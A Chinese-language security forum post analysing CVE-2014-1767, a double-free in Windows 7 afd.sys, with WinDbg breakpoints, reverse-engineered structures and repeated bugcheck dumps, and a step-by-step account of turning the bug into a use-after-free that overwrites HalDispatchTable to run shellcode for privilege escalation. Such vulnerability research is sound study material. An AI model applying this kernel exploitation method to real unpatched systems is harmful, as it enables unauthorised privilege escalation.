-
-
[原创]凑个热闹: CVE-2014-1767 分析报告
-
发表于: 2022-6-29 20:08 11630
-
该漏洞为Pwn2014上Siberas团队公布的提权漏洞,此漏洞出现在AFD.sys文件中,POC将以DoubleFree的形式触发漏洞,利用思路是通过将DoubleFree漏洞转换为UAF来构造Exploit。
本文的调试环境为Windows 7 SP1 x86,通过双虚拟机双机调试。这和参考1中漏洞发现者的环境不同, 因此有些细节也不一样(例如漏洞发现者PDF中提到的内存为NonPagedPoolNx, 而我们的是NonPagePool)。
本漏洞成因简单、利用思路也非常经典, 因此极为适合新手作为漏洞学习的入门洞。
漏洞触发现场如下:
由上述第69行可知,为IoFreeMdl在释放8757da60时出现Double Free错误导致。到这里,很自然会产生如下几个疑问:
为什么会DoubleFree? <--- 终极问题
8757da60这个MDL是在哪里分配的?
第一次是在哪里释放的?
第二次是在哪里释放的?
其中,第四个问题可以立刻解答,因为当前现场即是第二次释放现场。
为了解答上面的第一个终极问题,我们要先搞清楚问题2、3。
(注意:由于该漏洞属于内核级漏洞,因此调试过程中需要不停重启,因此下文中截图涉及内存地址的地方会有差异。)
既然是寻找Mdl的内存分配,首先看一眼IoAllocateMdl的调用交叉引用:
Emmm……打消了一个一个找的念头。
然后想利用条件断点在IoAllocateMdl返回8757da60这个地址时下断,发现一旦下了断点,这个地址会发生改变——似乎进入死胡同了(后来发现其实多断几次总是能断到的)。
这里网上大部分的分析文章都是从POC的两次DeviceIOControl着手分析。本文本着自虐的原则,笔者会假设我们并不知道POC的内容是什么,这次BugCheck只是漏洞挖掘的Fuzz环境中发现的一次内核级异常,我们将尽量尝试贴近真实的漏洞挖掘环境。
首先上IDA看一下出现异常的现场上下文是怎样的(注意,下图中已经加载了符号分析得到的数据结构):
有的朋友可能好奇这些数据结构是如何分析得到的,在这里笔者只能告诉大家,通过对:AfdReturnTpInfo、AfdTransmitFile、AfdTliGetTpInfo可以得到如下关键结构:
然后看一眼出问题的struc_UnkObj->MdlAddress的交叉引用:
发现对MdlAddress成员的写操作,均在AfdTransmitFile函数中,然后在调试器中对几次MdlAddress赋值的地方下断点,中断后情况如下:
此时看一下eax的值(8757da60),发现和本文一开始异常发生时,IoFreeMdl尝试释放的值一致。说明我们找对分配内存的地方了:
其实简单一点来说就是,struc_TPInfo(v6和v7)由下图92行的AlfTliGetIpInfo构造并初始化、struc_TPInfo->struc_UnkObj(v50和v11)的MdlAddress成员由下图122行分配。
特别强调,由于内存通过上图92行的AfdTliGetTpInfo分配struc_TPInfo结构后,继续由122行的IoAllocateMdl分配了一个初始化的MDL内存,因此第一次IoFreeMdl释放这块内存时是不会蓝屏的(详见下一节分析)。
OK,既然目前内存何时分配已经清楚了,那我们来看一下这块内存第一次是何时释放的。
在WinDbg中下如下断点:
注意,这里有一个坑, 由于笔者是用64位WindDBG调试32位系统, 上面断点的值是64位的, 实测使用32位的值无法中断。
中断在如下地址:
发现调用路径是:
顺着调用链继续追踪:
发现上面这一片是异常处理代码,其try块位于 2C376 处, 而这个try块恰好包含我们上面跟踪到的分配Mdl内存的代码:
让我们来看一下上面30行地址的调试器现场:
结合IoAllocateMdl函数原型:
可知,此时程序正在尝试从0x13371337地址处分配一块0x0015fcd9大小的内存。而上图中8e38a49d地址处的call MmPorbeAndLockPages则尝试锁定刚刚分配的这块Mdl内存。
由于MDL中的内存地址是(我们控制,见下文分析)非法地址(0x13371337),从而导致MmProbeAndLockPage抛出异常,代码控制权转移到了异常控制块,从而需要依次调用:
也就是我们上面发现的异常调用链,至此第一次释放的原因已经分析清楚。
这时,需要注意一点:程序在调用IoFreeMdl之后,并没有将Mdl的指针设置为NULL,这里造成了悬挂指针的问题:
上图中,Entry为struc_TPInfo结构,由于这里并没有将struc_TPInfo->UnkObjArray的各个元素以及这个数组的各个子元素置NULL,当AfdReturnTpInfo最后释放Entry后,如果我们再次申请一个struc_TPInfo结构,则会得到保留了上次数据的一块内存,这里即产生了悬挂指针的问题。
这里笔者留个包袱,这个包袱将关联后文的构造POC一节。
通过分析释放时机可知,导致第一次内存释放的调用链:
CVE_2014_1767-> nt!DeviceIoControl -> afd!DispatchDeviceControl -> afd!AfdTransmitFile
通过回溯DeviceIoControl调用栈里面的信息,可知如下几个调用参数:
如下图:
(如果现在对比POC中填充的inbuf1,就可以看到上图中0x1326060+6*0x4位置处开始即为POC代码填充的数据了,此时可见上文中提到的非法地址:0x13371337)
上一节结尾提到
“如果我们再次申请一个struc_TPInfo结构,则会得到保留了上次数据的一块内存”
而通过“寻找内存分配时机”一节可知,AfdTliGetTpInfo负责分配一个struc_TPInfo结构。
那么AfdTliGetTpInfo函数有几次调用呢?看下图:
可见AfdTransmitPackets函数还会调用一次这个函数, 这也是本节我们将要分析的点。
我们继续在windbg中执行g命令让程序继续跑:
可以看到,第二次释放的调用链为:
此时我们如果再g一下,就会得到本文一开始一模一样的异常现场。
通过上面的调用链可以知道,第二次释放也是通过AfdReturnTpInfo最终触发的IoFreeMdl, 但是本次调用链上多了一个函数调用,即AfdTliGetTpInfo,让我们先看一下本函数的反汇编代码:
结构上和上次的现场差不多,都包含一个异常处理,通过上面的调用链可知一定是try块中触发了异常才有可能调用到AfdReturnTpInfo, 那我们在0002B88C的call处下断点看一下现场(0x10000为IDA加载afd.sys的基址):
根据ExAllocatePoolWithQuotaTag的定义:
可知,目前正在尝试分配一块4294967280大小的内存(大约3.9Gb),由于被调试机器为32位且未开启PAE, 这种情况下必然会产生异常,因此会执行到0002B8A7处的AfdReturnTpInfo函数。
同时,需要注意,在0002B83C处从LookasideList内存处分配了一个struc_TPInfo后,并没有对struc_TPInfo->struc_UnkObj的MdlAddress成员初始化,因为在尝试调用ExAllocatePoolWithQuotaTag初始化该成员域时发生了异常(申请3.9Gb内存),从而执行流程跳转到了异常处理块的AfdReturnTpInfo处,但是AfdReturnTpInfo函数体中是会对struc_TPInfo->struc_UnkObj->MdlAddress执行释放操作的:
那么由于此时分配的struc_TPInfo结构使用的内存是上一次调用AfdTransmitFile异常后,释放(归还)给LookasidList的内存,由于本文一开始分析得到的悬挂指针的问题, 导致二次IoFreeMdl同一块内存。
这就是本文一开始终极问题的答案——为什么会DoubleFree。
同样埋一个包袱后文会用到。
让我们回到第二次释放时的调用现场:
通过对这个现场的回溯,我们可以得到第二次调用时的调用链如下:
CVE-2014-1767 -> nt!DeviceIoControl -> afd!AfdTransmitPackets
以及调用DeviceIoControl的参数信息:
上文中,有个细节没有提到(下面标红部分):
知道了上述信息后,我们来覆盘一下DoubleFree产生的原因:
本小节涉及到上文中提到的两个包袱,通过对栈中数据的分析我们可以写出如下POC代码:
测试发现,并不能触发崩溃,通过上面漏洞的成因, 分别在afd!AfdTransmitFile与afd!AfdTransmitPackets下断点进一步分析,最终发现是在afd!AfdTransmitPackets中如下检查未通过导致的:
通过对内核中0xAFD2常数的追踪, 最终定位到这个常数的位置如下图:
接下来看一下winsock2模块是干啥用的, 了解一个模块的作用, 最快的方法莫过于通过其头文件了, 看一下其导出的函数:
发现一个老熟人, WSAStartup, 所以推测\\?\GLOBALROOT\Device\Afd是和socks函数相关的, 尝试把句柄替换为socks函数产生的句柄成功触发BSOD。
在知道正确的句柄类型之后, 我们就可以创建正确的设备对象来构造触发BSOD的POC了,下面POC中的端口, 只要是任意开放端口即可。
前文中,作者本着自虐的原则,刨根问底式的研究了很多“多余的东西”,但是作为一个Noob,完全自己去构造Expolit实在是过于难为作者了。因此,我们需要参考一下大佬们是如何构造Exploit的,我们需要通过大佬们的构造思路,来学习构造Exploit的技能——这部分技能恰好是我们所不具备的。
本文接下来的部分,主要是对《参考1》的理解以及《参考2》的解释,或者也可以理解为读书笔记。
通过上文的分析, 可知此漏洞的根本成因是DoubleFree, 如果我们能控制Free之后的这块内存,从而造成Object Manipulate的话,就可以控制任意内存——也就是将DoubleFree问题转换为UAF问题。
首先,我们从最朴素的目的来展开我们的思考。抛开所有问题不谈,漏洞利用最终的目标是什么?当然不是没有蛀牙,而是执行我们的ShellCode——那么我们将会面临两个问题:
针对第一个问题, 由于我们的程序已经装载到内存中执行了, 因此当内核运行在我们的Expoit进程空间时, 自然就可以访问到用户态的Shellcode地址,因此在Exploit中Shellcode其实就是个函数的地址而已(参考2):
针对第二个问题, 我们知道Windows有很多的系统例程(比如SSDT里面的全都是), 如果我们能替换掉某个例程的地址为我们的Shellcode地址,然后调用这个例程, 那CPU便会去执行我们的Shellcode代码。
当然, 此漏洞发现者使用的并不是SSDT里面的例程, 因为这个表里面的函数使用频率太高了,很容易被其他程序调用从而影响我们对漏洞的利用。 这里, 漏洞发现者盯上了漏洞利用届的老熟人、冷门调用的扛霸子:位于HalDispatchTable第二项的HaliQuerySystemInformation:
根据已知资料可知, 当我们调用NtQueryIntervalProfile时, 会导致内核态调用HalQuerySystemInformation函数。
所以, 如果我们将HalQuerySystemInformation函数的地址替换为我们Shellcode函数的地址, 然后调用NtQueryIntervalProfile, 我们的Shellcode便会的到执行。
那么, 新的问题又出现了:
根据上一节的分析可知 HalQuerySystemInformation 位于 HalDispatchTable+0x004 的位置, 好消息是 HalDispatchTable 在ntoskrnl.exe中是导出的:
获取一个导出的符号地址, 在R3中使用 LoadLibrary + GetProcAddress 的经典组合就可以搞定了, 唯一需要注意的是需要根据ntoskrnl.exe在内核中实际加载的基址重新计算一下导出名称的地址(参考2):
OK, 现在我们知道了HalDispatchTable的地址, 我们下一步只需要向 HalDispatchTable+0x004 位置处写入我们Shellcode函数地址就可以了——可是我们如何写呢? 接下来让我们回答上一节的问题:
“在获取到HalDispatchTable中地址后, 如何向这个地址写入我们Shellcode的地址”
Windows有一个很有意思的设计,为了管理内核对象, Windows提供了很多配套函数, 这些函数都是成组出现的, 其基本形式为: NtCreateXXX/NtQueryInformationXXX/NtSetInformationXXX。这三类函数一般用于创建内核对象或查询/设置该内核对象的信息。
如果要尝试构造任意地址写, NtSetInformationXXX系列函数是个不错的选择, 而漏洞发现者选取的内核对象为WorkerFactory, 即“受害”函数是NtSetInformationWorkerFactory, 让我们先来理解一下这个函数(仅列出重要部分):
从函数的反汇编代码来看, 我们可以将4个字节的数据写到受控地址处, 地址的控制是通过WorkerFactory对象+0x10处的成员值间接计算得出的。 这里的几个要点为:
所以, Exploit中构造的写原语代码为(参考2):
通过上面的写原语代码可知,我们是通过构造恶意的WorkerFactory对象实现的。然而WorkerFactory对象是通过NtCreateWorkerFactory创建的,我们得到的仅仅是代表这个对象的一个句柄——换句话说,我们并不能控制这个对象的具体内容, 但是我们构造写原语的确要伪造WorkerFactory对象的一些成员, 如何解决这个问题呢?
漏洞发现者提供了另外一个对象:EaFile。我们可以通过NtQueryEaFile达成向内存某一地址处写入我们想要数据的目的, 废话不说, 上反汇编代码:
这里需要强调一点, 由于WorkerFactory对象在第二次调用DeviceIoControl的时候会被释放掉, 因此上面18行处的ExAllocatePoolWithQuotaTag申请内存的调用, 只要传入合适的EaListLength值,就会再次得到被释放的这块内存。那么, EaListLength需要是多少合适呢?答案是WorkerFactory对象所占用的内存大小,所以我们需要知道WorkerFactory对象占多大内存:
可以看到WrokerFactory对象的大小为0xA0, 其分配的内存区域的POOL_TYPE为0, 即NonPagedPool。
继续进一步分析ExAllocatePoolWithQuotaTag函数调用:
发现EaListLength会被+4然后作为分配内存的长度, 因此我们如果想得到同一块内存, 在调用NtQueryEaFile的时候, EaListLength需要是0xA0 - 4, 下面是Exploit的对应代码(参考2):
上面讲了这么多, 其实就是为了解决两个问题:
我们通过LoadLibrary和GetProcAddress得到了HalDispatchTable的地址, 然后利用NtQueryEaFile函数伪造一个WorkerFactory对象从而构造写原语, 利用构造的写原语覆盖了系统原本的HalQuerySystemInformation调用为我们Shellcode函数的地址。
到这里, 理论上我们只需要触发HalQuerySystemInformation调用即可执行我们的Shellcode了,如下(参考2):
但是为了避免系统崩溃, 在Shellcode最后, 我们还需要将原来的HalQuerySystemInformation函数恢复回去。
那么,如何得到原HalQuerySystemInformation的函数地址呢?
通过上文的介绍, 我们依然利用WorkerFactory对象构造读语, 这次我们把目光转移到NtQueryInformationWorkerFactory上:
可以看到, 该函数中, 有一个解引用, 会将WorkerFactoryObject+0x64处的值+0xB4后, 再解引用, 赋值到返回内容的0x50位置处, 最终返回的内存大小为0x60。这里需要注意上面的v10是DWORD , 所以(DWORD )v10 + 0x19等于(CHAR *)v10 + 0x64。
因此, 如果我们想要得到原来的HalQuerySystemInformation函数地址, 需要HalDispatchTable + 4 - 0xB4, 因此Exploit中的处理逻辑为(参考2):
这样就得到了原本HalQuerySystemInformation的地址, 我们只需要在Shellcode最后恢复他即可。
对整个代码回顾, 关键脉络如下:
整个漏洞,最核心的技巧说白了其实是通过反复申请和释放同一块内存来完成的。
通过上文的分析我们可知,这块内存的大小即是WorkerFactory对象的大小, 但是有一个细节是最开始, 也就是afd!TransmitFile调用是如何申请一块WorkerFactory大小的内存呢?
让我们回到第一次DeviceIoControl调用的内存分配处:
所以所有关键参数都来自于我们的输入, 其中控制大小的参数会传递给IoAllocateMdl用于分配内存。让我们看一下IoAllocateMdl函数分配内存的细节:
可见作为长度传递给内存分配函数ExAllocatePoolWithTag的参数v8由VirtualAddress和Length计算而来, 而VirtualAddress和Length是受我们控制的。我们可以用以下代码暴力计算:
其结果如下:
最终得到的值和参考2中Exploit的Length其实是不相等的, 参考2中的Length计算后为0x20000, 经过实际测试, 使用我们计算得到的值0x1F224也可以成功提权。
实际上, 如果将上述代码最后的break去掉, 我们可以得到非常多可用的值, 0x20000就在其中。
以下利用代码来自于参考2, 仅对上面提到的Length做了修改, 且在Windows 7 x86 SP1上测试提权成功 :
其实这篇文章今年3月份的时候就已经开始写了, 期间因为手头的事情太多, 中间搁置了好长一段时间。后来发现近期又有好几篇这个漏洞的分析文章,于是就又捡起来写完, 算是凑个热闹。
写作过程中参考了很多前辈的文章, 也引用了部分前人的分析成果。本文涉及到的afd.idb、Exploit.c、Poc.c均已上传到Github参考3。
最后, 希望自己懒癌可以少犯病, 多做一些有意义的事情 ;)
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
Bugcheck Analysis
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
BAD_POOL_CALLER (c2)
The current thread
is
making a bad pool request. Typically this
is
at a bad IRQL level
or
double freeing the same allocation, etc.
Arguments:
Arg1:
00000007
, Attempt to free pool which was already freed
Arg2:
00001097
, Pool tag value
from
the pool header
Arg3:
08b50005
, Contents of the first
4
bytes of the pool header
Arg4:
8757da60
, Address of the block of pool being deallocated
Debugging Details:
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
KEY_VALUES_STRING:
1
Key : Analysis.CPU.mSec
Value:
5140
Key : Analysis.DebugAnalysisManager
Value: Create
Key : Analysis.Elapsed.mSec
Value:
17640
Key : Analysis.Init.CPU.mSec
Value:
3765
Key : Analysis.Init.Elapsed.mSec
Value:
107564
Key : Analysis.Memory.CommitPeak.Mb
Value:
69
Key : WER.OS.Branch
Value: win7sp1_rtm
Key : WER.OS.Timestamp
Value:
2010
-
11
-
19T18
:
50
:
00Z
Key : WER.OS.Version
Value:
7.1
.
7601.17514
BUGCHECK_CODE: c2
BUGCHECK_P1:
7
BUGCHECK_P2:
1097
BUGCHECK_P3:
8b50005
BUGCHECK_P4: ffffffff8757da60
POOL_ADDRESS:
8757da60
Nonpaged pool
FREED_POOL_TAG: Mdl_
PROCESS_NAME: CVE
-
2014
-
1767.exe
STACK_TEXT:
80f6454c
83ce6589
00000003
610826c5
00000065
nt!RtlpBreakWithStatusInstruction
80f6459c
83ce7085
00000003
8757da58
000001ff
nt!KiBugCheckDebugBreak
+
0x1c
80f64960
83d2cc4e
000000c2
00000007
00001097
nt!KeBugCheck2
+
0x68b
80f649d8
83c8276a
8757da60
00000000
89136350
nt!ExFreePoolWithTag
+
0x1b2
80f649ec
8e3a6eb0
8757da60
00000000
8e38989f
nt!IoFreeMdl
+
0x70
80f64a08
8e3898ac
00000000
00000001
0ec1bfa8
afd!AfdReturnTpInfo
+
0xad
80f64a44
8e38abba
0ec1bf00
000120c3
8e38aa8c
afd!AfdTliGetTpInfo
+
0x89
80f64aec
8e38f2bc
89067880
87610030
80f64b14
afd!AfdTransmitPackets
+
0x12e
80f64afc
83c43047
87610030
890a8ee0
890a8ee0
afd!AfdDispatchDeviceControl
+
0x3b
80f64b14
83e199d5
89067880
890a8ee0
890a8fbc
nt!IofCallDriver
+
0x63
80f64b34
83e1bdc8
87610030
89067880
00000000
nt!IopSynchronousServiceTail
+
0x1f8
80f64bd0
83e22d9d
87610030
890a8ee0
00000000
nt!IopXxxControlFile
+
0x6aa
80f64c04
83c4987a
00000050
00000000
00000000
nt!NtDeviceIoControlFile
+
0x2a
<Intermediate frames may have been skipped due to lack of complete unwind>
80f64c04
778770b4
(T)
00000050
00000000
00000000
nt!KiFastCallEntry
+
0x12a
<Intermediate frames may have been skipped due to lack of complete unwind>
002cf478
77875864
(T)
75a0989d
00000050
00000000
ntdll!KiFastSystemCallRet
002cf47c
75a0989d
00000050
00000000
00000000
ntdll!ZwDeviceIoControlFile
+
0xc
002cf4dc
75d2a671
00000050
000120c3
01326200
KERNELBASE!DeviceIoControl
+
0xf6
002cf508
013217be
00000050
000120c3
01326200
kernel32!DeviceIoControlImplementation
+
0x80
WARNING: Stack unwind information
not
available. Following frames may be wrong.
002cf6f8
01321396
00000012
000c0ffc
000c0fec
CVE_2014_1767
+
0x17be
002cf798
75d33c45
00000000
75d33c45
7ffd9000
CVE_2014_1767
+
0x1396
002cf7ac
778937f5
7ffd9000
77be9209
00000000
kernel32!BaseThreadInitThunk
+
0xe
002cf7ec
778937c8
013214c0
7ffd9000
00000000
ntdll!__RtlUserThreadStart
+
0x70
002cf804
00000000
013214c0
7ffd9000
00000000
ntdll!_RtlUserThreadStart
+
0x1b
SYMBOL_NAME: afd!AfdReturnTpInfo
+
ad
MODULE_NAME: afd
IMAGE_NAME: afd.sys
STACK_COMMAND: .thread ; .cxr ; kb
FAILURE_BUCKET_ID:
0xc2_7_Mdl__afd
!AfdReturnTpInfo
+
ad
OS_VERSION:
7.1
.
7601.17514
BUILDLAB_STR: win7sp1_rtm
OSPLATFORM_TYPE: x86
OSNAME: Windows
7
FAILURE_ID_HASH: {
7fe1e721
-
1d80
-
7be3
-
9354
-
8d3b5b5ab1ef
}
Followup: MachineOwner
-
-
-
-
-
-
-
-
-
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
Bugcheck Analysis
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
BAD_POOL_CALLER (c2)
The current thread
is
making a bad pool request. Typically this
is
at a bad IRQL level
or
double freeing the same allocation, etc.
Arguments:
Arg1:
00000007
, Attempt to free pool which was already freed
Arg2:
00001097
, Pool tag value
from
the pool header
Arg3:
08b50005
, Contents of the first
4
bytes of the pool header
Arg4:
8757da60
, Address of the block of pool being deallocated
Debugging Details:
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
KEY_VALUES_STRING:
1
Key : Analysis.CPU.mSec
Value:
5140
Key : Analysis.DebugAnalysisManager
Value: Create
Key : Analysis.Elapsed.mSec
Value:
17640
Key : Analysis.Init.CPU.mSec
Value:
3765
Key : Analysis.Init.Elapsed.mSec
Value:
107564
Key : Analysis.Memory.CommitPeak.Mb
Value:
69
Key : WER.OS.Branch
Value: win7sp1_rtm
Key : WER.OS.Timestamp
Value:
2010
-
11
-
19T18
:
50
:
00Z
Key : WER.OS.Version
Value:
7.1
.
7601.17514
BUGCHECK_CODE: c2
BUGCHECK_P1:
7
BUGCHECK_P2:
1097
BUGCHECK_P3:
8b50005
BUGCHECK_P4: ffffffff8757da60
POOL_ADDRESS:
8757da60
Nonpaged pool
FREED_POOL_TAG: Mdl_
PROCESS_NAME: CVE
-
2014
-
1767.exe
STACK_TEXT:
80f6454c
83ce6589
00000003
610826c5
00000065
nt!RtlpBreakWithStatusInstruction
80f6459c
83ce7085
00000003
8757da58
000001ff
nt!KiBugCheckDebugBreak
+
0x1c
80f64960
83d2cc4e
000000c2
00000007
00001097
nt!KeBugCheck2
+
0x68b
80f649d8
83c8276a
8757da60
00000000
89136350
nt!ExFreePoolWithTag
+
0x1b2
80f649ec
8e3a6eb0
8757da60
00000000
8e38989f
nt!IoFreeMdl
+
0x70
80f64a08
8e3898ac
00000000
00000001
0ec1bfa8
afd!AfdReturnTpInfo
+
0xad
80f64a44
8e38abba
0ec1bf00
000120c3
8e38aa8c
afd!AfdTliGetTpInfo
+
0x89
80f64aec
8e38f2bc
89067880
87610030
80f64b14
afd!AfdTransmitPackets
+
0x12e
80f64afc
83c43047
87610030
890a8ee0
890a8ee0
afd!AfdDispatchDeviceControl
+
0x3b
80f64b14
83e199d5
89067880
890a8ee0
890a8fbc
nt!IofCallDriver
+
0x63
80f64b34
83e1bdc8
87610030
89067880
00000000
nt!IopSynchronousServiceTail
+
0x1f8
80f64bd0
83e22d9d
87610030
890a8ee0
00000000
nt!IopXxxControlFile
+
0x6aa
80f64c04
83c4987a
00000050
00000000
00000000
nt!NtDeviceIoControlFile
+
0x2a
<Intermediate frames may have been skipped due to lack of complete unwind>
80f64c04
778770b4
(T)
00000050
00000000
00000000
nt!KiFastCallEntry
+
0x12a
<Intermediate frames may have been skipped due to lack of complete unwind>
002cf478
77875864
(T)
75a0989d
00000050
00000000
ntdll!KiFastSystemCallRet
002cf47c
75a0989d
00000050
00000000
00000000
ntdll!ZwDeviceIoControlFile
+
0xc
002cf4dc
75d2a671
00000050
000120c3
01326200
KERNELBASE!DeviceIoControl
+
0xf6
002cf508
013217be
00000050
000120c3
01326200
kernel32!DeviceIoControlImplementation
+
0x80
WARNING: Stack unwind information
not
available. Following frames may be wrong.
002cf6f8
01321396
00000012
000c0ffc
000c0fec
CVE_2014_1767
+
0x17be
002cf798
75d33c45
00000000
75d33c45
7ffd9000
CVE_2014_1767
+
0x1396
002cf7ac
778937f5
7ffd9000
77be9209
00000000
kernel32!BaseThreadInitThunk
+
0xe
002cf7ec
778937c8
013214c0
7ffd9000
00000000
ntdll!__RtlUserThreadStart
+
0x70
002cf804
00000000
013214c0
7ffd9000
00000000
ntdll!_RtlUserThreadStart
+
0x1b
SYMBOL_NAME: afd!AfdReturnTpInfo
+
ad
MODULE_NAME: afd
IMAGE_NAME: afd.sys
STACK_COMMAND: .thread ; .cxr ; kb
FAILURE_BUCKET_ID:
0xc2_7_Mdl__afd
!AfdReturnTpInfo
+
ad
OS_VERSION:
7.1
.
7601.17514
BUILDLAB_STR: win7sp1_rtm
OSPLATFORM_TYPE: x86
OSNAME: Windows
7
FAILURE_ID_HASH: {
7fe1e721
-
1d80
-
7be3
-
9354
-
8d3b5b5ab1ef
}
Followup: MachineOwner
-
-
-
-
-
-
-
-
-
struct struc_UnkObj
{
NTSTATUS Status;
int
Length;
PVOID VirtualAddress;
PMDL MdlAddress;
PFILE_OBJECT
Object
;
int
field_14;
};
struct struc_TPInfo
{
PIRP field_0;
int
field_4;
int
field_8;
int
field_C;
int
field_10;
int
field_14;
int
field_18;
PIRP Irp3;
struc_UnkObj
*
UnkObjArray;
int
field_24;
int
UnkCounter;
int
field_2C;
int
IrpCounter;
int
field_34;
int
AfdTransmitIoLength;
int
field_3C;
int
field_40;
int
field_44;
int
field_48;
int
field_4C;
int
field_50;
int
field_54;
int
field_58;
int
field_5C;
int
field_60;
int
field_64;
int
field_68;
int
field_6C;
PIRP Irp;
PIRP Irp2;
int
field_78;
int
field_7C;
int
field_80;
int
field_84;
int
field_88;
int
field_8C;
int
field_90;
int
field_94;
};
struct struc_UnkObj
{
NTSTATUS Status;
int
Length;
PVOID VirtualAddress;
PMDL MdlAddress;
PFILE_OBJECT
Object
;
int
field_14;
};
struct struc_TPInfo
{
PIRP field_0;
int
field_4;
int
field_8;
int
field_C;
int
field_10;
int
field_14;
int
field_18;
PIRP Irp3;
struc_UnkObj
*
UnkObjArray;
int
field_24;
int
UnkCounter;
int
field_2C;
int
IrpCounter;
int
field_34;
int
AfdTransmitIoLength;
int
field_3C;
int
field_40;
int
field_44;
int
field_48;
int
field_4C;
int
field_50;
int
field_54;
int
field_58;
int
field_5C;
int
field_60;
int
field_64;
int
field_68;
int
field_6C;
PIRP Irp;
PIRP Irp2;
int
field_78;
int
field_7C;
int
field_80;
int
field_84;
int
field_88;
int
field_8C;
int
field_90;
int
field_94;
};
bp nt!IoFreeMdl
".if(poi(@esp + 0x4) = 0xffffffff`8757da60){}.else{gc;}"
bp nt!IoFreeMdl
".if(poi(@esp + 0x4) = 0xffffffff`8757da60){}.else{gc;}"
kd> r
eax
=
8757da60
ebx
=
8913b7b8
ecx
=
00000000
edx
=
00000000
esi
=
89107410
edi
=
89107380
eip
=
8e38a48e
esp
=
80e5ca48
ebp
=
80e5caec
iopl
=
0
nv up ei pl zr na pe nc
cs
=
0008
ss
=
0010
ds
=
0023
es
=
0023
fs
=
0030
gs
=
0000
efl
=
00000246
afd!AfdTransmitFile
+
0x170
:
8e38a48e
89460c
mov dword ptr [esi
+
0Ch
],eax ds:
0023
:
8910741c
=
ffffffff
kd> bp nt!IoFreeMdl
".if(poi(@esp + 0x4) = 0xffffffff`8757da60){}.else{gc;}"
kd> bl
0
e Disable Clear
83c826fa
0001
(
0001
) nt!IoFreeMdl
".if(poi(@esp + 0x4) = 0xffffffff`8757da60){}.else{gc;}"
kd> g
nt!IoFreeMdl:
83c826fa
8bff
mov edi,edi
kd> kb
# ChildEBP RetAddr Args to Child
00
80e5ca1c
8e3a6eb0
8757da60
00000000
8e38a840
nt!IoFreeMdl
01
80e5ca38
8e38a8c1
00000000
00000001
0ed23f00
afd!AfdReturnTpInfo
+
0xad
02
80e5caec
8e38f2bc
890ad7c0
87610030
80e5cb14
afd!AfdTransmitFile
+
0x5a3
03
80e5cafc
83c43047
87610030
8913b7b8
8913b7b8
afd!AfdDispatchDeviceControl
+
0x3b
04
80e5cb14
83e199d5
890ad7c0
8913b7b8
8913b894
nt!IofCallDriver
+
0x63
05
80e5cb34
83e1bdc8
87610030
890ad7c0
00000000
nt!IopSynchronousServiceTail
+
0x1f8
06
80e5cbd0
83e22d9d
87610030
8913b7b8
00000000
nt!IopXxxControlFile
+
0x6aa
07
80e5cc04
83c4987a
00000050
00000000
00000000
nt!NtDeviceIoControlFile
+
0x2a
<Intermediate frames may have been skipped due to lack of complete unwind>
08
80e5cc04
778770b4
(T)
00000050
00000000
00000000
nt!KiFastCallEntry
+
0x12a
<Intermediate frames may have been skipped due to lack of complete unwind>
09
0051f498
77875864
(T)
75a0989d
00000050
00000000
ntdll!KiFastSystemCallRet
0a
0051f49c
75a0989d
00000050
00000000
00000000
ntdll!ZwDeviceIoControlFile
+
0xc
0b
0051f4fc
75d2a671
00000050
0001207f
00156060
KERNELBASE!DeviceIoControl
+
0xf6
/
/
此时control code为
0x1207f
0c
0051f528
00151774
00000050
0001207f
00156060
kernel32!DeviceIoControlImplementation
+
0x80
WARNING: Stack unwind information
not
available. Following frames may be wrong.
0d
0051f718
00151396
00000012
00220ffc
00220fec
CVE_2014_1767
+
0x1774
0e
0051f7b8
75d33c45
00000000
00000000
75d33c45
CVE_2014_1767
+
0x1396
0f
0051f7d0
778937f5
7ffde000
77c39b57
00000000
kernel32!BaseThreadInitThunk
+
0xe
10
0051f810
778937c8
001514c0
7ffde000
00000000
ntdll!__RtlUserThreadStart
+
0x70
11
0051f828
00000000
001514c0
7ffde000
00000000
ntdll!_RtlUserThreadStart
+
0x1b
kd> r
eax
=
8757da60
ebx
=
8913b7b8
ecx
=
00000000
edx
=
00000000
esi
=
89107410
edi
=
89107380
eip
=
8e38a48e
esp
=
80e5ca48
ebp
=
80e5caec
iopl
=
0
nv up ei pl zr na pe nc
cs
=
0008
ss
=
0010
ds
=
0023
es
=
0023
fs
=
0030
gs
=
0000
efl
=
00000246
afd!AfdTransmitFile
+
0x170
:
8e38a48e
89460c
mov dword ptr [esi
+
0Ch
],eax ds:
0023
:
8910741c
=
ffffffff
kd> bp nt!IoFreeMdl
".if(poi(@esp + 0x4) = 0xffffffff`8757da60){}.else{gc;}"
kd> bl
0
e Disable Clear
83c826fa
0001
(
0001
) nt!IoFreeMdl
".if(poi(@esp + 0x4) = 0xffffffff`8757da60){}.else{gc;}"
kd> g
nt!IoFreeMdl:
83c826fa
8bff
mov edi,edi
kd> kb
# ChildEBP RetAddr Args to Child
00
80e5ca1c
8e3a6eb0
8757da60
00000000
8e38a840
nt!IoFreeMdl
01
80e5ca38
8e38a8c1
00000000
00000001
0ed23f00
afd!AfdReturnTpInfo
+
0xad
02
80e5caec
8e38f2bc
890ad7c0
87610030
80e5cb14
afd!AfdTransmitFile
+
0x5a3
03
80e5cafc
